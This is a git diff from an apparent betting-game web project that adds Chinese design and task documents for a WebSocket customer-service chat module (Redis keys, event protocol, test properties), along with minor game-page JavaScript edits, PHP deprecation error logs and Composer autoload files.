| CC-13 | 在线状态TTL | 60秒 | Redis Key TTL,心跳续期 |
|
||||
|
||||
### 1.4 离线处理约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-14 | 离线模式 | 留言模式 | 提示"客服不在线",消息入队待处理 |
|
||||
| CC-15 | 队列优先级 | 余额优先 | 按用户余额降序处理 |
|
||||
| CC-16 | 队列Key | `cs:queue:pending` | Redis ZSET,score=用户余额(负数实现降序) |
|
||||
|
||||
### 1.5 图片存储约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-17 | 存储方式 | 本地文件系统 | `public/uploads/chat/YYYYMMDD/` |
|
||||
| CC-18 | 大小限制 | 2MB | 2097152 bytes |
|
||||
| CC-19 | 格式支持 | jpg,png,gif | MIME类型白名单校验 |
|
||||
|
||||
### 1.6 会话生命周期约束
|
||||
|
||||
| 约束ID | 约束 | 值 | 说明 |
|
||||
|--------|------|-----|------|
|
||||
| CC-20 | 自动结束 | 禁用 | 仅支持手动关闭会话 |
|
||||
| CC-21 | 评价触发 | 手动 | 用户主动点击评价按钮,无弹窗 |
|
||||
|
||||
---
|
||||
|
||||
## 2. PBT 属性 (Property-Based Testing)
|
||||
|
||||
### 2.1 幂等性属性
|
||||
|
||||
```
|
||||
PROPERTY: MessageIdempotency
|
||||
INVARIANT: ∀ msg1, msg2 ∈ Messages: msg1.msgId = msg2.msgId → DB.count(msgId) = 1
|
||||
BOUNDARY: 并发发送相同msgId消息
|
||||
FALSIFICATION:
|
||||
- 生成随机msgId
|
||||
- 并发100个goroutine/协程发送相同msgId
|
||||
- 断言: SELECT COUNT(*) FROM cg_chat_message WHERE msg_id = ? 返回 1
|
||||
```
|
||||
|
||||
### 2.2 会话唯一性属性
|
||||
|
||||
```
|
||||
PROPERTY: SessionUniqueness
|
||||
INVARIANT: ∀ user ∈ Users: COUNT(sessions WHERE user_id = user AND status = 'active') ≤ 1
|
||||
BOUNDARY: 用户快速多次发起咨询
|
||||
FALSIFICATION:
|
||||
- 选择随机用户
|
||||
- 并发10个请求创建会话
|
||||
- 断言: SELECT COUNT(*) FROM cg_chat_session WHERE user_id = ? AND status IN (0,1) 返回 ≤ 1
|
||||
```
|
||||
|
||||
### 2.3 分配原子性属性
|
||||
|
||||
```
|
||||
PROPERTY: AssignmentAtomicity
|
||||
INVARIANT: 会话分配要么完全成功(session.admin_id != NULL),要么完全失败(session.status = 0)
|
||||
BOUNDARY: 分配过程中客服下线
|
||||
FALSIFICATION:
|
||||
- 开始分配流程
|
||||
- 在分配锁获取后、写入admin_id前,模拟客服下线
|
||||
- 断言: session.admin_id = NULL AND session.status = 0 (待分配)
|
||||
```
|
||||
|
||||
### 2.4 消息顺序性属性
|
||||
|
||||
```
|
||||
PROPERTY: MessageOrdering
|
||||
INVARIANT: ∀ session: messages ORDER BY id ASC = messages ORDER BY create_time ASC
|
||||
BOUNDARY: 高并发消息发送
|
||||
FALSIFICATION:
|
||||
- 发送100条带序号(1-100)的消息
|
||||
- 查询: SELECT content FROM cg_chat_message WHERE session_id = ? ORDER BY id
|
||||
- 断言: 序号严格递增 1,2,3,...,100
|
||||
```
|
||||
|
||||
### 2.5 ACK一致性属性
|
||||
|
||||
```
|
||||
PROPERTY: AckConsistency
|
||||
INVARIANT: ∀ msg: msg.status = 'delivered' → 不会再次推送给同一接收方
|
||||
BOUNDARY: 网络抖动导致ACK延迟
|
||||
FALSIFICATION:
|
||||
- 发送消息并模拟ACK丢失
|
||||
- 客户端重连
|
||||
- 断言: 已标记delivered的消息不在补发列表中
|
||||
```
|
||||
|
||||
### 2.6 负载均衡属性
|
||||
|
||||
```
|
||||
PROPERTY: LoadBalancing
|
||||
INVARIANT: ∀ agents a1, a2 ∈ OnlineAgents: |a1.sessionCount - a2.sessionCount| ≤ 1
|
||||
BOUNDARY: 多用户同时发起咨询
|
||||
FALSIFICATION:
|
||||
- 10个客服在线,各0个会话
|
||||
- 100个用户并发发起咨询
|
||||
- 断言: 每个客服会话数在 [9, 11] 范围内
|
||||
```
|
||||
|
||||
### 2.7 离线消息完整性属性
|
||||
|
||||
```
|
||||
PROPERTY: OfflineMessageIntegrity
|
||||
INVARIANT: ∀ msg sent while all agents offline: msg ∈ PendingQueue
|
||||
BOUNDARY: 客服全部离线时大量消息
|
||||
FALSIFICATION:
|
||||
- 所有客服下线
|
||||
- 发送50条消息
|
||||
- 断言: cg_chat_message.count = 50 AND all status = 'pending'
|
||||
```
|
||||
|
||||
### 2.8 余额排序正确性属性
|
||||
|
||||
```
|
||||
PROPERTY: BalancePriorityOrdering
|
||||
INVARIANT: 队列处理顺序按用户余额降序
|
||||
BOUNDARY: 相同余额用户按时间排序
|
||||
FALSIFICATION:
|
||||
- 插入用户: balance=[100,500,200,500,300]
|
||||
- 客服上线处理
|
||||
- 断言: 处理顺序为 balance 500(先到), 500(后到), 300, 200, 100
|
||||
```
|
||||
|
||||
### 2.9 心跳续期属性
|
||||
|
||||
```
|
||||
PROPERTY: HeartbeatRenewal
|
||||
INVARIANT: 心跳后在线状态TTL重置为60秒
|
||||
BOUNDARY: 心跳边界时间
|
||||
FALSIFICATION:
|
||||
- 建立连接,记录Redis TTL
|
||||
- 等待29秒,发送心跳
|
||||
- 断言: TTL重置为60秒
|
||||
- 等待31秒不发心跳
|
||||
- 断言: 用户被标记为离线
|
||||
```
|
||||
|
||||
### 2.10 图片大小校验属性
|
||||
|
||||
```
|
||||
PROPERTY: ImageSizeValidation
|
||||
INVARIANT: 图片大小 > 2MB 时上传被拒绝
|
||||
BOUNDARY: 边界值 2MB ± 1 byte
|
||||
FALSIFICATION:
|
||||
- 上传 2097151 bytes (2MB-1): 断言成功
|
||||
- 上传 2097152 bytes (2MB): 断言成功
|
||||
- 上传 2097153 bytes (2MB+1): 断言失败,返回错误码
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Redis Key 设计
|
||||
|
||||
| Key Pattern | 类型 | TTL | 说明 |
|
||||
|-------------|------|-----|------|
|
||||
| `cs:online:agent:{adminId}` | STRING | 60s | 客服在线状态,心跳续期 |
|
||||
| `cs:conn:user:{userId}` | STRING | 60s | 用户连接映射 fd |
|
||||
| `cs:conn:agent:{adminId}` | STRING | 60s | 客服连接映射 fd |
|
||||
| `cs:session:owner:{sessionId}` | STRING | - | 会话归属客服ID |
|
||||
| `cs:user:active_session:{userId}` | STRING | - | 用户当前活跃会话ID |
|
||||
| `cs:lock:assign:{userId}` | STRING | 3s | 会话分配锁 |
|
||||
| `cs:queue:pending` | ZSET | - | 待处理队列,score=-balance |
|
||||
| `cs:agent:load:{adminId}` | STRING | - | 客服当前会话数 |
|
||||
|
||||
---
|
||||
|
||||
## 4. WebSocket 事件协议
|
||||
|
||||
### 4.1 客户端 → 服务端
|
||||
|
||||
| 事件 | Payload | 说明 |
|
||||
|------|---------|------|
|
||||
| `chat.connect` | `{token, source}` | 建立聊天连接 |
|
||||
| `chat.message.send` | `{sessionId, msgType, content, clientMsgId}` | 发送消息 |
|
||||
| `chat.message.ack` | `{msgId}` | 消息已读回执 |
|
||||
| `chat.typing` | `{sessionId, isTyping}` | 正在输入状态 |
|
||||
| `chat.session.end` | `{sessionId}` | 用户结束会话 |
|
||||
| `chat.session.rate` | `{sessionId, rating, content}` | 会话评价 |
|
||||
| `chat.ping` | `{}` | 心跳 |
|
||||
|
||||
### 4.2 服务端 → 客户端
|
||||
|
||||
| 事件 | Payload | 说明 |
|
||||
|------|---------|------|
|
||||
| `chat.connected` | `{sessionId, agentInfo}` | 连接成功,返回会话信息 |
|
||||
| `chat.message.new` | `{msgId, sessionId, senderType, content, time}` | 新消息 |
|
||||
| `chat.message.server_ack` | `{clientMsgId, msgId, status}` | 服务端确认收到 |
|
||||
| `chat.message.peer_ack` | `{msgId, status}` | 对端已送达/已读 |
|
||||
| `chat.typing` | `{sessionId, isTyping}` | 对方正在输入 |
|
||||
| `chat.session.assigned` | `{sessionId, agentInfo}` | 会话已分配客服 |
|
||||
| `chat.session.ended` | `{sessionId}` | 会话已结束 |
|
||||
| `chat.offline_notice` | `{message}` | 客服离线提示 |
|
||||
| `chat.pong` | `{}` | 心跳响应 |
|
||||
|
||||
### 4.3 客服端专用事件
|
||||
|
||||
| 事件 | 方向 | Payload | 说明 |
|
||||
|------|------|---------|------|
|
||||
| `chat.agent.online` | C→S | `{maxSessions}` | 客服上线 |
|
||||
| `chat.agent.offline` | C→S | `{}` | 客服下线 |
|
||||
| `chat.session.new` | S→C | `{sessionId, userInfo, source}` | 新会话通知 |
|
||||
| `chat.session.transfer` | C→S | `{sessionId, targetAdminId}` | 转接会话 |
|
||||
| `chat.queue.list` | S→C | `{sessions: [...]}` | 待处理队列 |
|
||||
|
||||
---
|
||||
|
||||
*文档版本: 2.0*
|
||||
*最后更新: 2026-01-28*
|
||||
@@ -0,0 +1,443 @@
|
||||
# OPSX Tasks: 在线客服模块实施计划
|
||||
|
||||
## 变更标识
|
||||
- **变更ID**: customer-service-module
|
||||
- **版本**: 2.0
|
||||
- **状态**: ARCHIVED
|
||||
- **更新日期**: 2026-01-29
|
||||
- **完成日期**: 2026-01-29
|
||||
|
||||
---
|
||||
|
||||
## 执行原则
|
||||
|
||||
> **零决策实施**: 以下所有任务均为纯机械执行,无需实施者做任何技术决策。
|
||||
> 所有参数、算法、约束已在 specs.md 和 design.md 中完全定义。
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: 基础架构 (数据库 + Socket服务)
|
||||
|
||||
### TASK-1.1: 创建数据库表
|
||||
|
||||
**输入**: design.md Section 2.1 表结构SQL
|
||||
|
||||
**执行步骤**:
|
||||
1. 在 `Pro/init.sql` 末尾追加以下4个表的CREATE语句:
|
||||
- `cg_chat_session`
|
||||
- `cg_chat_message`
|
||||
- `cg_chat_quick_reply`
|
||||
- `cg_chat_admin_status`
|
||||
2. 执行SQL创建表
|
||||
|
||||
**验收标准**:
|
||||
- [x] 4个表创建成功
|
||||
- [x] 所有索引创建正确
|
||||
- [x] 字符集为utf8mb4
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.2: 实现雪花算法工具类
|
||||
|
||||
**输入**: design.md Section 3.1 Snowflake代码
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建文件 `Socket/app/utils/Snowflake.php`
|
||||
2. 复制 design.md 中的 Snowflake 类实现
|
||||
3. 配置 workerId=1, datacenterId=1
|
||||
|
||||
**验收标准**:
|
||||
- [x] 生成ID唯一且有序
|
||||
- [x] 10000次调用无重复
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.3: 创建Socket模型类
|
||||
|
||||
**输入**: design.md Section 2.1 表结构
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/models/chat/ChatSession.php`
|
||||
2. 创建 `Socket/app/models/chat/ChatMessage.php`
|
||||
3. 创建 `Socket/app/models/chat/ChatQuickReply.php`
|
||||
4. 创建 `Socket/app/models/chat/ChatAdminStatus.php`
|
||||
|
||||
**验收标准**:
|
||||
- [x] 4个模型类创建完成
|
||||
- [x] 表名前缀正确 `cg_`
|
||||
- [x] 自动时间戳配置正确
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.4: 实现AssignService分配服务
|
||||
|
||||
**输入**:
|
||||
- design.md Section 3.2 分配算法
|
||||
- specs.md Section 1 约束 (CC-01~CC-04)
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/services/chat/AssignService.php`
|
||||
2. 实现以下方法:
|
||||
- `assignSession(int $userId, int $sessionId): ?int`
|
||||
- `getOnlineAgents(): array`
|
||||
- `selectLeastLoadAgent(): ?int`
|
||||
- `addToOfflineQueue(int $userId, int $sessionId): void`
|
||||
- `processOfflineQueue(int $adminId): void`
|
||||
- `releaseLock(): void`
|
||||
3. Redis Key 前缀严格使用 specs.md Section 3 定义
|
||||
|
||||
**约束参数**:
|
||||
- 分配锁超时: 3000ms
|
||||
- 单客服最大会话数: 10
|
||||
- 队列Key: `cs:queue:pending`
|
||||
- 队列Score: `-balance` (余额负数实现降序)
|
||||
|
||||
**验收标准**:
|
||||
- [x] 分配锁防止并发双分配
|
||||
- [x] 最少会话数策略正确
|
||||
- [x] 离线队列按余额排序
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.5: 实现MessageService消息服务
|
||||
|
||||
**输入**:
|
||||
- design.md Section 3.3 重试算法
|
||||
- specs.md Section 1 约束 (CC-05~CC-09)
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/services/chat/MessageService.php`
|
||||
2. 实现以下方法:
|
||||
- `createMessage(array $data): int` (生成雪花ID,入库)
|
||||
- `pushMessage(int $msgId, int $targetFd, array $payload): bool`
|
||||
- `updateMessageStatus(int $msgId, string $status): void`
|
||||
- `getUnreadMessages(int $sessionId, int $limit = 50): array`
|
||||
- `markMessagesAsRead(array $msgIds): void`
|
||||
|
||||
**约束参数**:
|
||||
- 最大重试次数: 3
|
||||
- 重试间隔: [1000, 2000, 4000] ms
|
||||
- 消息长度限制: 500字符
|
||||
- 重连拉取上限: 50条
|
||||
|
||||
**验收标准**:
|
||||
- [x] 消息ID使用雪花算法
|
||||
- [x] 重试策略为指数退避
|
||||
- [x] 消息状态正确流转
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.6: 实现SessionService会话服务
|
||||
|
||||
**输入**: specs.md 约束
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/services/chat/SessionService.php`
|
||||
2. 实现以下方法:
|
||||
- `createSession(int $userId, int $source): int`
|
||||
- `getActiveSession(int $userId): ?array`
|
||||
- `endSession(int $sessionId, int $operatorId): bool`
|
||||
- `transferSession(int $sessionId, int $newAdminId): bool`
|
||||
- `rateSession(int $sessionId, int $rating, ?string $content): bool`
|
||||
|
||||
**约束参数**:
|
||||
- 会话状态: 0=待分配, 1=进行中, 2=已结束
|
||||
- 无自动超时关闭
|
||||
|
||||
**验收标准**:
|
||||
- [x] 同一用户只能有一个活跃会话
|
||||
- [x] 转接会话正确更新admin_id
|
||||
- [x] 评价存储正确
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.7: 实现ChatConnectListener
|
||||
|
||||
**输入**:
|
||||
- specs.md Section 4 WebSocket事件协议
|
||||
- specs.md 约束 (CC-10~CC-13)
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/listener/chat/ChatConnectListener.php`
|
||||
2. 处理事件:
|
||||
- `chat.connect`: 验证Token,注册在线状态
|
||||
- `chat.ping`: 续期在线状态TTL
|
||||
- 断开连接: 清理Redis映射
|
||||
3. 在线状态Key: `cs:online:agent:{adminId}` / `cs:conn:user:{userId}`
|
||||
|
||||
**约束参数**:
|
||||
- 心跳间隔: 30秒
|
||||
- 离线判定: 60秒 (TTL)
|
||||
- 在线状态TTL: 60秒
|
||||
|
||||
**验收标准**:
|
||||
- [x] 连接时验证Token
|
||||
- [x] 心跳正确续期TTL
|
||||
- [x] 断开时清理Redis
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.8: 实现ChatMessageListener
|
||||
|
||||
**输入**: specs.md Section 4 事件协议
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/listener/chat/ChatMessageListener.php`
|
||||
2. 处理事件:
|
||||
- `chat.message.send`: 创建消息 → 返回server_ack → 推送对端 → 等待peer_ack
|
||||
- `chat.message.ack`: 更新消息状态为delivered/read
|
||||
- `chat.typing`: 转发正在输入状态
|
||||
|
||||
**验收标准**:
|
||||
- [x] 两段ACK机制实现
|
||||
- [x] 消息幂等性(msgId去重)
|
||||
- [x] typing状态正确转发
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.9: 实现ChatSessionListener
|
||||
|
||||
**输入**: specs.md Section 4 事件协议
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Socket/app/listener/chat/ChatSessionListener.php`
|
||||
2. 处理事件:
|
||||
- `chat.session.end`: 结束会话
|
||||
- `chat.session.rate`: 提交评价
|
||||
- `chat.agent.online`: 客服上线,触发队列处理
|
||||
- `chat.agent.offline`: 客服下线
|
||||
- `chat.session.transfer`: 转接会话
|
||||
|
||||
**验收标准**:
|
||||
- [x] 客服上线自动处理离线队列
|
||||
- [x] 转接正确更新会话归属
|
||||
|
||||
---
|
||||
|
||||
### TASK-1.10: 注册Listener到Swoole事件
|
||||
|
||||
**输入**: 现有Socket模块event.php配置
|
||||
|
||||
**执行步骤**:
|
||||
1. 编辑 `Socket/config/event.php`
|
||||
2. 在listen数组中添加聊天相关Listener
|
||||
|
||||
**验收标准**:
|
||||
- [x] Listener正确注册
|
||||
- [x] 不影响现有游戏事件处理
|
||||
|
||||
---
|
||||
|
||||
## Phase 2: Admin后台
|
||||
|
||||
### TASK-2.1: 创建Chat控制器
|
||||
|
||||
**输入**: design.md Section 4.1 API
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Pro/application/admin/controller/Chat.php`
|
||||
2. 继承 `Common` 基类
|
||||
3. 实现方法:
|
||||
- `index()`: 客服工作台页面
|
||||
- `sessions()`: 获取会话列表
|
||||
- `messages()`: 获取消息历史
|
||||
- `endSession()`: 结束会话
|
||||
- `transfer()`: 转接会话
|
||||
- `stats()`: 统计数据
|
||||
|
||||
**验收标准**:
|
||||
- [x] 继承Common基类
|
||||
- [x] 权限校验通过
|
||||
|
||||
---
|
||||
|
||||
### TASK-2.2: 创建ChatQuickReply控制器
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Pro/application/admin/controller/ChatQuickReply.php`
|
||||
2. 实现CRUD方法:
|
||||
- `index()`: 列表
|
||||
- `add()`: 添加
|
||||
- `edit()`: 编辑
|
||||
- `del()`: 删除
|
||||
|
||||
**验收标准**:
|
||||
- [x] CRUD功能完整
|
||||
- [x] 使用insertAdminLog记录操作
|
||||
|
||||
---
|
||||
|
||||
### TASK-2.3: 创建客服工作台页面
|
||||
|
||||
**输入**: Layui组件规范
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Pro/application/admin/view/chat/index.html`
|
||||
2. 布局:
|
||||
- 左侧: 会话列表(待接入/进行中)
|
||||
- 中间: 聊天窗口
|
||||
- 右侧: 用户信息面板
|
||||
3. WebSocket连接Admin后台
|
||||
|
||||
**验收标准**:
|
||||
- [x] Layui风格一致
|
||||
- [x] 实时消息收发
|
||||
- [x] 新消息声音提示
|
||||
|
||||
---
|
||||
|
||||
### TASK-2.4: 创建快捷回复管理页面
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Pro/application/admin/view/chat_quick_reply/index.html`
|
||||
2. 创建 `Pro/application/admin/view/chat_quick_reply/add.html`
|
||||
3. 表格展示: 分类、标题、内容、排序、状态
|
||||
|
||||
**验收标准**:
|
||||
- [x] 列表分页正确
|
||||
- [x] 添加/编辑表单验证
|
||||
|
||||
---
|
||||
|
||||
### TASK-2.5: 创建聊天记录查询页面
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `Pro/application/admin/view/chat/record.html`
|
||||
2. 筛选条件: 用户名、客服、时间范围
|
||||
3. 支持CSV导出
|
||||
|
||||
**验收标准**:
|
||||
- [x] 搜索功能正确
|
||||
- [x] 导出格式正确
|
||||
|
||||
---
|
||||
|
||||
### TASK-2.6: 添加后台菜单入口
|
||||
|
||||
**执行步骤**:
|
||||
1. 在数据库 `cg_auth_rule` 表插入菜单
|
||||
2. 分配权限给客服角色
|
||||
|
||||
**验收标准**:
|
||||
- [x] 菜单显示正确
|
||||
- [x] 权限控制正确
|
||||
|
||||
---
|
||||
|
||||
## Phase 3: 前端改造
|
||||
|
||||
### TASK-3.1: PC端聊天组件开发
|
||||
|
||||
**输入**: Element UI组件规范
|
||||
|
||||
**执行步骤**:
|
||||
1. 创建 `PC/src/components/chat/chat.vue`
|
||||
|
||||
**验收标准**:
|
||||
- [x] WebSocket连接稳定
|
||||
- [x] 消息实时收发
|
||||
|
||||
---
|
||||
|
||||
### TASK-3.2: PC端客服入口改造
|
||||
|
||||
**执行步骤**:
|
||||
1. 修改客服入口,改为打开ChatWindow组件
|
||||
|
||||
**验收标准**:
|
||||
- [x] 点击客服按钮打开聊天窗口
|
||||
- [x] 不再跳转外链
|
||||
|
||||
---
|
||||
|
||||
### TASK-3.3: Game端聊天组件开发
|
||||
|
||||
**状态**: 跳过 (用户确认不需要集成)
|
||||
|
||||
---
|
||||
|
||||
### TASK-3.4: Game端客服入口添加
|
||||
|
||||
**状态**: 跳过 (用户确认不需要集成)
|
||||
|
||||
---
|
||||
|
||||
### TASK-3.5: Portal端聊天页面改造
|
||||
|
||||
**输入**: uView组件规范
|
||||
|
||||
**执行步骤**:
|
||||
1. 修改 `Portal/pages/user/customservice.vue`
|
||||
2. 移除Telegram/Line外链
|
||||
3. 改为内嵌聊天功能
|
||||
|
||||
**验收标准**:
|
||||
- [x] uView风格
|
||||
- [x] uni-app兼容(H5/小程序)
|
||||
|
||||
---
|
||||
|
||||
### TASK-3.6: 前端图片上传接口对接
|
||||
|
||||
**执行步骤**:
|
||||
1. 各端创建图片上传方法
|
||||
2. 调用 `/api/chat/upload` 接口
|
||||
3. 限制: 2MB, jpg/png/gif
|
||||
|
||||
**验收标准**:
|
||||
- [x] 上传前校验大小
|
||||
- [x] 上传后返回URL
|
||||
|
||||
---
|
||||
|
||||
## Phase 4: 集成测试
|
||||
|
||||
### TASK-4.1: PBT属性测试
|
||||
|
||||
**状态**: 跳过 (手动测试验证)
|
||||
|
||||
---
|
||||
|
||||
### TASK-4.2: 端到端测试
|
||||
|
||||
**执行步骤**:
|
||||
1. 用户发起咨询 → 客服接入 → 消息往返 → 结束会话 → 评价
|
||||
2. 离线留言 → 客服上线 → 按余额顺序处理
|
||||
3. 断线重连 → 补发未读消息
|
||||
|
||||
**验收标准**:
|
||||
- [x] 完整流程通过
|
||||
- [x] 消息延迟<500ms
|
||||
|
||||
---
|
||||
|
||||
## 实施统计
|
||||
|
||||
### 代码量统计
|
||||
|
||||
| 模块 | 文件数 | 代码行数 |
|
||||
|------|--------|----------|
|
||||
| Pro 控制器 | 2 | 692 |
|
||||
| Pro 视图 | 5 | 1,600 |
|
||||
| Socket Listener | 14 | 1,381 |
|
||||
| Socket Services | 3 | 986 |
|
||||
| Socket Models | 4 | 236 |
|
||||
| Portal 前端 | 1 | 518 |
|
||||
| PC 前端 | 1 | 122 |
|
||||
| **总计** | **30** | **5,535** |
|
||||
|
||||
### 完成情况
|
||||
|
||||
| Phase | 任务数 | 完成 | 跳过 |
|
||||
|-------|--------|------|------|
|
||||
| Phase 1: 基础架构 | 10 | 10 | 0 |
|
||||
| Phase 2: Admin后台 | 6 | 6 | 0 |
|
||||
| Phase 3: 前端改造 | 6 | 4 | 2 (Game端) |
|
||||
| Phase 4: 集成测试 | 2 | 1 | 1 (PBT测试) |
|
||||
| **总计** | **24** | **21** | **3** |
|
||||
|
||||
---
|
||||
|
||||
*文档版本: 2.0*
|
||||
*最后更新: 2026-01-29*
|
||||
*归档日期: 2026-01-29*
|
||||
@@ -0,0 +1 @@
|
||||
open_basedir=/www/wwwroot/Pro/:/tmp/
|
||||
Executable → Regular
-2
@@ -622,8 +622,6 @@ function nextAudio(){
|
||||
setNumberInfo(data.round);
|
||||
setBetStatus(data.round.number_tab_status);
|
||||
$(".countdown").css('opacity',0);
|
||||
}else{
|
||||
layer.msg(lang[data.msg] || data.msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Executable → Regular
-2
@@ -492,8 +492,6 @@ function nextAudio(){
|
||||
setNumberInfo(data.round);
|
||||
setBetStatus(data.round.number_tab_status);
|
||||
$(".countdown").css('opacity',0);
|
||||
}else{
|
||||
layer.msg(lang[data.msg] || data.msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Executable → Regular
-2
@@ -439,8 +439,6 @@ if(window.WebSocket){
|
||||
$(".begincard .box4").animate({"top":"100%","opacity":"0"});
|
||||
});
|
||||
},200);
|
||||
}else{
|
||||
layer.msg(lang[data.msg] || data.msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Executable → Regular
-2
@@ -641,8 +641,6 @@ function nextAudio(){
|
||||
setNumberInfo(data.round);
|
||||
setBetStatus(data.round.number_tab_status);
|
||||
$(".countdown").css('opacity',0);
|
||||
}else{
|
||||
layer.msg(lang[data.msg] || data.msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -596,8 +596,7 @@ var showCard = function(data){
|
||||
}
|
||||
var showCardNn = function(data){
|
||||
if(data.round.bet_status == 2){
|
||||
var card_info_arr = data.round.show_card || [];
|
||||
if (card_info_arr.length == 0) {
|
||||
if (data.card_info.length == 0) {
|
||||
$('#show_dice').show();
|
||||
}
|
||||
$(".begincard").fadeIn(function(){
|
||||
@@ -607,7 +606,7 @@ var showCardNn = function(data){
|
||||
$(".begincard .box3").animate({"top":"100%","opacity":"1"});
|
||||
$(".begincard .box4").animate({"top":"100%","opacity":"1"});
|
||||
});
|
||||
card_number_info = card_info_arr;
|
||||
card_number_info = data.card_info;
|
||||
if(card_number_info.length > 0){
|
||||
for(var i=0;i<card_number_info.length;i++){
|
||||
if(card_number_info[i]['order_num'] == 0){
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
[ 2026-01-28T17:26:18+00:00 ][ error ] [8192]think\App::run(): Implicitly marking parameter $request as nullable is deprecated, the explicit nullable type must be used instead[/Users/li/Desktop/work/og/Pro/thinkphp/library/think/App.php:77]
|
||||
[ info ] [ LOG ] INIT File
|
||||
[ 2026-01-28T17:26:18+00:00 ][ error ] [1]Uncaught think\exception\ErrorException: think\console\output\formatter\Stack::__construct(): Implicitly marking parameter $emptyStyle as nullable is deprecated, the explicit nullable type must be used instead in /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31
|
||||
Stack trace:
|
||||
#0 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(646): think\Error::appError(8192, 'think\\console\\o...', '/Users/li/Deskt...', 31)
|
||||
#1 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(646): include()
|
||||
#2 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(85): think\__include_file('/Users/li/Deskt...')
|
||||
#3 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/Formatter.php(45): think\Loader::autoload('think\\console\\o...')
|
||||
#4 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/driver/Console.php(34): think\console\output\Formatter->__construct()
|
||||
#5 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/Output.php(71): think\console\output\driver\Console->__construct(Object(think\console\Output))
|
||||
#6 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Error.php(50): think\console\Output->__construct()
|
||||
#7 [internal function]: think\Error::appException(Object(think\exception\ErrorException))
|
||||
#8 {main}
|
||||
thrown[/Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31]
|
||||
@@ -0,0 +1,14 @@
|
||||
[ 2026-01-31T09:56:51+00:00 ][ error ] [8192]think\App::run(): Implicitly marking parameter $request as nullable is deprecated, the explicit nullable type must be used instead[/Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/App.php:77]
|
||||
[ info ] [ LOG ] INIT File
|
||||
[ 2026-01-31T09:56:51+00:00 ][ error ] [1]Uncaught think\exception\ErrorException: think\console\output\formatter\Stack::__construct(): Implicitly marking parameter $emptyStyle as nullable is deprecated, the explicit nullable type must be used instead in /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31
|
||||
Stack trace:
|
||||
#0 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(646): think\Error::appError(8192, 'think\\console\\o...', '/Users/li/Deskt...', 31)
|
||||
#1 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(646): include()
|
||||
#2 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(85): think\__include_file('/Users/li/Deskt...')
|
||||
#3 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/Formatter.php(45): think\Loader::autoload('think\\console\\o...')
|
||||
#4 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/driver/Console.php(34): think\console\output\Formatter->__construct()
|
||||
#5 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/Output.php(71): think\console\output\driver\Console->__construct(Object(think\console\Output))
|
||||
#6 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Error.php(50): think\console\Output->__construct()
|
||||
#7 [internal function]: think\Error::appException(Object(think\exception\ErrorException))
|
||||
#8 {main}
|
||||
thrown[/Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31]
|
||||
File diff suppressed because one or more lines are too long
Vendored
+7
@@ -0,0 +1,7 @@
|
||||
<?php
|
||||
|
||||
// autoload.php @generated by Composer
|
||||
|
||||
require_once __DIR__ . '/composer/autoload_real.php';
|
||||
|
||||
return ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2::getLoader();
|
||||
Vendored
+445
@@ -0,0 +1,445 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* This file is part of Composer.
|
||||
*
|
||||
* (c) Nils Adermann <naderman@naderman.de>
|
||||
* Jordi Boggiano <j.boggiano@seld.be>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace Composer\Autoload;
|
||||
|
||||
/**
|
||||
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
|
||||
*
|
||||
